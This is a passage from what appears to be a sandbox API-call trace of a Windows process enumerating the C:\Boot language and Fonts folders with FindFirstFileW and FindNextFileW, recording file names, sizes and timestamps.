cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.897] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0087.897] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.897] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0087.897] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.897] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0087.898] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.898] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.898] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.898] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.899] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0087.899] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.899] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0087.899] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.899] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0087.900] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.900] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.900] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0087.900] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0087.900] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.900] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0087.900] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.900] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0087.900] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.900] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.901] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0087.901] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0087.901] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.901] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.901] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0087.902] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.902] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0087.902] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0087.903] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.903] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0088.125] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.125] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0088.125] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0088.127] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0088.127] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0088.127] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0088.127] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0088.127] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0088.127] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0088.128] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0088.129] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0088.129] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 